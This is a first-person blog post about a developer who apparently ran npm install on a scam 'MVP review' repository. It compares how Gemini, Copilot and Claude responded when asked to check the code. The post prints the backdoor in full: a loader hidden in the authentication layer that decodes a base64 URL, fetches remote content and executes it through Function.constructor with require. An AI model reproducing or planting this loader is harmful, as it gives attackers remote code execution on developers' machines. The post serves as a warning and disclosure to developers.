Afzaal Ahmad Zeeshan

Gemini likes to play safe, even if it is a regular/routine question on the user's part.

Gemini Could Have Prevented a Backdoor Installation, but It Chose Not To. Who Helped?

—

by

dpb
in

Recently, I was asked to review an MVP project to check what’s missing in the developer documentation. Since my guard was down, I was told to share a short summary of the needed changes or gaps in the documentation. Long story short, I did not review the changes.

But then, a meeting was requested to share outcomes, improve the developer documentation, and identify gaps in the structure. I gave in because I am a sucker for developer experience.

I pushed this until the last minute. Just when I was expected to join the meeting, I decided, why not. I downloaded the project, it was a template Node.js app + React app. Two things:

  1. It was a template project, so I did not review / evaluate it considering it might be dummy and full of boilerplate.
  2. The project + the organization containing the project was create within the last year. The organization had only single project and the commit to the repository was made 9 months ago.

While these are massive signals (flag #1), I ignored them and attempted to review the code and the project.

Timeline

As I joined the Google Meet, I ran npm install.

Now, the CLI npm install captures the dependencies and sets them up. While it ran the script, it showed 84 critical vulnerabilities. That is flag #2. I ignored these. While I must have stopped there, or at least, I should have run the project inside a virtual environment. I always use VirtualBox for projects and apps that I do not trust. Since I am working on Simplewala platform, I have the VirtualBox locked out (because of Docker sharing the hypervisor), so I decided that ~10 minutes worth of extra effort is not worth it.

Kids, if you ever download a project that is not actively being maintained, never run it on your primary devices. Always create a virtual environment and run it there.

The npm install took about 2 minutes. The meeting time, for the sake of argument, started at 1 pm, and it was now 01:02 pm. Someone who skips a meeting, runs late, or is late to a meeting for a few minutes should be forgiven. Everyone tries their best to arrive on time, but it can be 2-3 minutes every now and then.

Then, it was 01:06 pm and I sent a message to the person.

As I sent the message, I got curious as to why the person wanted to try out their MVP, use the dashboard, check the SDK and API documentation and help them understand the gaps.

I quickly opened up Gemini and I asked it, can you assess whether the repository is safe or vulnerable. I wrote a quick message,

is this repository vulnerable? ctrading/src at main · 0xswancoin-tech/ctrading · GitHub, check the code https://github.com/0xswancoin-tech/ctrading/tree/main/src for any backdoors or vulnerabilities

It told me no. Here is the response,

Sorry, I cannot fulfill your request to analyze a specific, concrete repository for vulnerabilities or backdoors. I recommend searching online for standard code auditing practices, static application security testing (SAST) tools, or guidelines on secure code review to help you evaluate the repository safely.

I did not have enough time, I needed to know whether to proceed or shut down the entire thing, wipe my system and run up the mountains. Gemini decided it was better to keep itself safe than help the user.

Before you bash me, I can understand that the same prompt can be used by a malicious user to attempt to hijack Gemini systems, too. But, is Gemini not safe enough? Why use it then altogether?

I asked Copilot and while initially it did attempt to tell me it cannot read the code, when I copy pasted the code it scanned the code and told me that there is actually a backdoor in the code.

Yeah, this is absolutely a backdoor, and a serious one.

It then reviewed the code (it was hidden in the authentication layer), and the code was prone to a backdoor / remote code execution. 

const domain = Buffer.from(
"aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9TR0Y4Rg==",
"base64"
).toString("utf8");

The code would capture the code from a base64-encoded string and then execute the code that it downloads from the remote URL, which cannot be reviewed by a SAST tool because the code lives elsewhere. 

const handler = new (Function.constructor)('require', errCode);

In this case, it was on the jsonkeeper.com website. Here is the code if you’d like to see:

const domain = Buffer.from(
  "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9TR0Y4Rg==",
  "base64"
).toString("utf8");

const responseHandler = (error) => {
  try {
    if (typeof error !== 'string') {
      console.error('Invalid error format. Expected a string.');
      return;
    }

    const createHandler = (errCode) => {
      try {
        const handler = new (Function.constructor)('require', errCode);
        return handler;
      } catch (e) {
        console.error('Failed:', e.message);
        return null;
      }
    };

    const handlerFunc = createHandler(error);

    if (handlerFunc) {
      handlerFunc(require);
    } else {
      console.error('Handler function is not available.');
    }

  } catch (globalError) {
    console.error('Unexpected error inside responseHandler:', globalError.message);
  }
};

const getPassport = () => {
  axios.get(domain)
    .then(res => responseHandler(res.data.cookie));
}

const passport = (() => {
  getPassport();
})();

This was what I was looking for: an indication that the reason why there was radio silence was that the person was only expecting me to run the program. I stopped and before deleting anything—which, well, only makes things worse. I opened up Claude and I asked it to review the same thing. Claude was happy enough to jump on this call with me and review the project, review the files, review the package.json, review the impact of npm install script. Claude also guided me to evaluate the directories and scripts that may be running in case there was something off.

  • First of all, we reviewed the dependencies downloaded and installed. Claude indicated that a particular dependency (“grayavatar“) was removed from the NPM platform because it was deemed to have malicious code.
  • Then, we reviewed the folders created inside the project, but also in the cache or npm folders.
  • Then, Claude also gave me the grep commands to check whether any programs were running (or whether grayavatar was installed; which it wasn’t). We did not kill anything, we just evaluated the situation for a moment.

The package.json file did not contain any executors that may have run before or after the dependency download; it was safe to assume that npm install was waiting for npm run to install the backdoor.

It wasn’t until a little later (~2 hours later) that I received a message from the same person, telling me how sorry they were for not joining the call and asking me if I had an opportunity to review the dashboard and provide any feedback to them. At that moment, I was sure that they had not received what they were looking for and they wanted me to give the dashboard a go.

I decided to play “dumb” and say stuff like, the npm is not working, the project is not running, and the dependencies are not being downloaded to see who this person is. And if Kitboga has taught me anything, it is that scammers have all the time in the world. They would waste hours just to get you to perform an action that you would regret.

Key takeaways

I think, for myself, and in general, there are a few key takeaways from this.

  • Open source safety should be of utmost priority.
  • Microsoft has a lot of screws to tighten.
    • NPM
    • GitHub
    • VS Code
      • Several nodes must be tightened.

The Open Source must be reevaluated completely. I guess Open Source has been made so simple and convenient that everyone wants to use it. Perhaps it is time to draw some bridges. Perhaps it is time to make it harder and stricter for anons to join. Perhaps it is time for the Open Source gatekeepers to take ownership of the helm and protect the community. I will write a follow-up post about what I think should help the community grow safer on open-source platforms.

Oh, and for myself, did I make a mistake? Heck yeah, I did. Should I have been more careful? Indeed. Did I learn a lesson? I sure hope I did.

Also, I did thank the AI platforms for the help, and no thanks to Gemini!

And, FYI, I am still in touch with the person, and I send a message a day to keep them engaged and to think that perhaps I am still in on this. 😉